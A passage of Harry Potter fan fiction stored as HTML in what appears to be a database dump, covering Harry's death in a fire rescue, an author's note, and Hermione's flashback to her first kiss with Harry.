class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What! What is it?&#8221; Harry asked still holding up the very large machine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;It&#8217;s my leg, I think there&#8217;s something in it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry looked at his leg and sure enough there was a piece of metal in his leg,\n&#8220;Yes, there is something in there and it looks like it&#8217;s in there good.&#8221; Harry\nconfirmed to Mark.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nJust then an explosion came from the door next to them and a surge of heat and\nflames came rushing in the basement.&nbsp; Smoke and ash soon filled both there\nlungs.&nbsp; Harry began to cough furiously and choke on the smoke that was\nengulfing his lungs.&nbsp; He dropped the machine on top of Mark; part of it\nlanded on some wood and it propelled just enough for mark to sneak out.&nbsp;\nHarry grabbed marks shoulders and started to pull hard trying to get him out\nbefore the fire spread to them.&nbsp; Mark was yelling at the top of his lungs\nand Harry had to let him go.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Mark we have to go NOW! If we stay and those flames get to us were gone this\nplace I going to blow up!&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I know&#8230; I just can&#8217;t take it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nIt was as if some one answered Harry&#8217;s prayers he hear voices, &#8220;Harry! Where\nare you?&#8221; A voice said.&nbsp; Harry knew whom it was that was calling him; it\nwas Jamie.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Jamie I&#8217;m over here, quick get over *<b>cough*</b> here.&nbsp; I have a guy *<b>cough</b>*\n*<b>cough*</b>&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Another one!&#8221; Jamie said Harry nodded, &#8220;Shit! Ok we got guys out there waiting\nfor us; we&#8217;ll get him out ok.&nbsp; Stupid move potter, comeing in here with\nout back up.&#8221; Jamie told him while he walked back to the window &#8220;Ok, where is\nhe?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry motioned to his left and Jamie saw the man under the washer, he walked\nover to it and was about to pull the man out but Harry stopped him and told him\nthat the man&#8217;s leg was stuck under the machine and that there was metal or\nsomething shoved in his leg.&nbsp; Jamie thought quickly and looked at the\nsituation, &#8220;Ok well I don&#8217;t really know anything except he would have to endure\nthe pain and we pull his leg out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry looked at Mark and thought it over for a second then he realized that the\nfire was getting closer very fast, &#8220;we don&#8217;t have a choice.&#8221; Harry said.&nbsp;\nHarry bent down and Jamie grabbed the machine and lifted the other end; just\nenough for Harry to get to Marks leg and pull it free.&nbsp; Mark yelled loudly\nbut understood that it was either scream or die.&nbsp; After about to minuets\nMark was free from under the machine and Jamie had picked Mark up and started\nto carry him to the window.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry got up and started to run and get out of the building before it blew up\nwith him in it.&nbsp; He was running when apiece of wood came down and hit him\nin the back.&nbsp; Jamie turned around and saw him on the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry!&#8221; He yelled, he started to come back to help Harry but he stopped him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Jamie just get him out of here, I&#8217;ll be fine I&#8217;ll get out.&#8221; Harry yelled</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry, No! This place is gonna blow up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Just go!&#8221; Harry demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nJames wanted to tell him no and that he wasn&#8217;t leaving but he didn&#8217;t have time\nHarry was now yelling at him to get out and Jamie had no choice but to get\nout.&nbsp; Jamie ran Mark to the window and hoisted Mark threw.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nOn the outside Chris and the rest of the people out there were waiting for\nHarry and Jamie to come out.&nbsp; They waited and finally someone came out, a\nround of claps and screams came from the crowed then Jamie came out and\neveryone started to run away.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry sat there struggling to get out from under the wood but it was no use, he\ncould see the flames getting closer to the pressure washer and he knew that he\nwasn&#8217;t going to get out in time.&nbsp; He knew what his fait had become and he\nregretted it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAs the fire fighters got closer Chris&#8217;s smile faded as he saw that the person\nthat came out with Jamie wasn&#8217;t his father.&nbsp; Panic washed over him and he\nlooked at the build in time for it to&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Oh god What have I done?&#8221; Harry said just as&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;NOOOOOOO!&#8221; Chris cried just as</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I love you all&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">BOOOOOOM!&nbsp;\nEveryone shielded their eyes from the huge explosion; this one was twice and\nbig then the other ones.&nbsp; Chris looked at the burning building&#8230; In just a\nfew seconds, the one who killed Voldmorte and lived to tell the tale, the one\nwho taught him everything, his father, was dead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/n: OMG Please I&#8217;m just as shocked about\nit as you are, I&#8217;m crying,&nbsp; .::.Tear.::. Wait for chapter 3 it gets\nbetter, I hope R/r Tell me what you think.&nbsp; And if you want too read my\nother stories &#8216;what will come will come&#8217; and I have another pen name Agent4259\ncheck out those stories too.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(277, 3, '\n\n\n\n<p class="MsoNormal">A/n: please! Please forgive me! As I told\nyou I was shocked by the whole thing&#8230;but I can&#8217;t tell you if he lived or not\ncuz that would ruin the whole bases of this story.&nbsp;&nbsp;&nbsp; This\nchapter slaps on to what went on with Hermione, Kat, and Ste&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Onward to Chapter 3!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 3</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">The Truth\nAbout Pain</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~**~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat and Ste walked into the Kitchen to see if Hermione needed any help with\nanything.&nbsp; As long as they were going to be staying there they mine as\nwell make them selves useful.&nbsp; They were walking into the kitchen and at\nthe same time Hermione came walking out, she walked into Ste and almost fell\nover.&nbsp; Ste grabbed her arm before she fell to the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Aunt Hermione are you ok? I&#8217;m SO sorry.&#8221; Ste asked obviously worried he done something\nwrong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yes, Ste I&#8217;m fine and don&#8217;t be sorry, it was my fault anyway I walked into\nyou.&#8221; She said walking over into the living room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nShe sat down on one of the chairs and was looking at the fireplace that wasn&#8217;t\nlit.&nbsp; Ste and Kat both knew something was wrong and walked over to her and\nsat on the couch.&nbsp; There was a silence for a few moments then Ste spoke\nup, &#8220;Aunt Hermione&#8230; Is there something wrong?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nIt took Hermione a while before she answered him, &#8220;Ste, you know what&#8217;s wrong.&#8221;\nShe said looking at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte nodded, &#8220;Want to talk about it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Not really.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Could I ask you something Mrs. Potter?&#8221; Kat asked speaking up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Of course.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;How did you know you loved Harry?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione took her gaze off Kat and looked at the ground, and then smiled, &#8220;I\nknew exactly when I loved him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(~**Flashback**~)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nIt was my seventeenth birthday and Harry, Ron, and Ginny planed a surprise\nparty that I was oblivious to.&nbsp; And it was in the Gryffindor common\nroom.&nbsp; Music was playing and Ron was dancing with Pavati and Harry was\nsitting down in the corner drinking a glass of soda.&nbsp; At the time there\nwas a fast song on the WWN and I was dancing with Dean Thomas.&nbsp; We were\nall having a good time, but for some reason when I saw Harry sitting there\nsomething seemed out of place; Of course I knew he didn&#8217;t know how to\ndance.&nbsp; As the song ended I gave Dean a hug and I walked over to where\nHarry was sitting&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hey!&#8221; I said walking over to him and sitting next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Aw the birthday girl!&#8221; He said suddenly getting a big smile on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Why are you sitting here by your self?&#8221; I asked him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well I was waiting for you, I have a few things I need to give you.&#8221; He said\nsmirking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nBy now the music stopped and people were sitting down catching their\nbreath.&nbsp; Harry then stood up and looked over at Ron who was sitting next\nto the Radio and he nodded to him for some reason.&nbsp; Ron stood and asked\nfor silence, &#8220;Everyone, at this time we would like it if you could see the\nBirthday girl and Harry share a little dance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWhen I heard that I went totally red, I had everyone looking at me.&nbsp; Harry\nreached for my hand and I took it.&nbsp; As we walked out into the middle of\neveryone I told him, &#8220;Harry, you don&#8217;t know how to dance.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe smiled and bent down and whispered in my ear, &#8220;How little you Hermione, how little\nyou know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nA song came on and slowly we started to dance, it was a beautiful song.&nbsp;\nHe looked right into my eyes and I looked into his, they locked on the moment\nthat was made, I was scared with everyone looking at me, but when I looked into\nhis eyes and I left the common room, I was on a dance floor with just him and\nI, we were gone from everything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I guess I do know very little, a month ago you couldn&#8217;t even get close to me\nwithout crushing my foot.&#8221; I whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well this is one of your gifts.&#8221; He said softly</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Were did you learn?&#8221; I asked him with curiosity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well, Ginny taught me some, and Padma Patil, and Pavati and Lavender.&#8221; Harry\nlooked at me with the sweetest smile as I looked at him with the widest eyes\nand a toothy smile, Then we both started to laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI put my head on his shoulder as we danced to the song still it was like nobody\nwas there.&nbsp; I was in the heavens and I didn&#8217;t want to go back.&nbsp; The\nsong ended and I looked back up at him as we re-entered the real world.&nbsp;\nEveryone was looking with little smiles and then they started to clap as we\nlooked around and smiled.&nbsp; As we walked back to the table Harry was\nsitting at everyone looked at us know that something was comeing.&nbsp; Then I\nrealized we here holding hands, this made me blush again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAs we sat there everyone went back and danced to some more fast songs.&nbsp; I\nfelt Harry move closer to me and put his arm around my waist.&nbsp; I looked at\nhim and he asked me, &#8220;Wanna go for a walk?&#8221;</p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What a charmer!&#8221; Ste said suddenly laughing a bit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;STE!&#8221; They both said in unison looking at him. Then Kat hit him playfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hey! Fine, I&#8217;ll go into the kitchen and get something to drink. Do you girls\nwant anything?&#8221; He asked quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nThey both shook there heads &#8216;no&#8217;, &#8220;Ok, good, this story is getting a bit too\nmushy for me, so I&#8217;ll just stay in there.&#8221; With that Ste walked into the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Just like your father!&#8221; Hermione yelled to him as he walked into the kitchen,\nwith him waving his hand to them as a &#8216;whatever&#8217; sign.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione turned her attention back to Kat, &#8220;As I was saying.&#8221;</p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe asked me if I wanted to go for a walk and I said yes.&nbsp; We both stood\nand walked out of the common room.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry won&#8217;t we get in trouble for leaving the common room after hours?&#8221; I\nasked him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, I asked Professor McGonagall if I could walk around tonight so I could\ntalk to you, and she said just tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI looked up at him he looked so cute, and yet so serious.&nbsp; We walked all\nthe way out on the grounds to the edge of the lake Harry was looking out far\naway like I could see beyond the lake into another world.&nbsp; I put my hand\non his arm and I felt him get a slight shudder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry, are you ok?&#8221; I was a little worried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe looked down at me, he never said a word he just bent his head to mine and\npressed his lips to mine.&nbsp; I was caught off by surprise and I accepted\nit.&nbsp; I was lost in his world, I never felt a feeling like this before, and\nI felt safe and content.&nbsp; The reality smacked me in the face, I got scared\nand I pushed him away I realized I was just kissing my best friend; the weird\npart was that I enjoyed it and wanted it more and more.&nbsp; He looked at me\nhe didn&#8217;t smile but he didn&#8217;t look upset all&#8217;s he did was look at me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Do you wanna sit down?&#8221; he asked, &#8220;Over there by the tree.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nThe tree is where we would both go to just talk or we would go there by our\nselves and just sit there and think.&nbsp; We walked over to it and I sat on a\nlarge root and Harry sat in a little opening by the tree. We sat there for a\nfew seconds not saying anything and Harry spoke up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hermione I&#8217;m sorry for that kiss I caught you off guard&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No don&#8217;t be sorry I just got scared and it happened so fast-&#8220; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yes I know and I&#8217;m so sorry for it, I should have never-&#8220; I stopped him in mid\nsentence.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry, I don&#8217;t want you to be sorry you have no right to be.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What&#8217;s going to happen?&nbsp; I mean with you and me.&#8221; He asked a little\nscared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What do you mean? Harry you&#8217;re my best friend I wouldn&#8217;t want anything to\nchange that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hermione, I really care about you a lot and I would do anything for you, I\nthink you&#8217;re the most intelligent and most beautiful girl I ever met, only I\nwas to blind to see it.&nbsp;&nbsp; But I&#8217;m scared that if you do or don&#8217;t have\nthose feelings I don&#8217;t want to lose you as my friend&#8230;my best friend, and I&#8230;&#8221; he\ntrailed off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI looked at him, he was like a small child looking for his lost dog, I reached\nout and took his hand and I looked him in the eye, &#8220;Harry, I care about you\njust as much maybe more, but I need time to think&#8230; is that ok?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yes, But I want you to know&#8230; Out of all the girls ive seen you always came\nfirst.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe stood up and then helped me up, and we began walking again.&nbsp; We walked\nback up to the common room and everyone had just finished cleaning up and going\nto bed the left the WWN on and soft music was playing giving the common room a\nvery peaceful feeling.&nbsp; Harry walked over to the couch and sat on it\nlooking at the fire that was dieing down.&nbsp; I walked over to him and gave\nhim a little kiss on the cheek, &#8216;goodnight&#8217; I said in his ear.&nbsp; He looked\nup at me and smiled.</p>\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&#173;&#173;&#173;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;That&#8217;s it, that&#8217;s how you knew you loved him?&#8221; Kat asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, there&#8217;s a lot more to it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Don&#8217;t leave 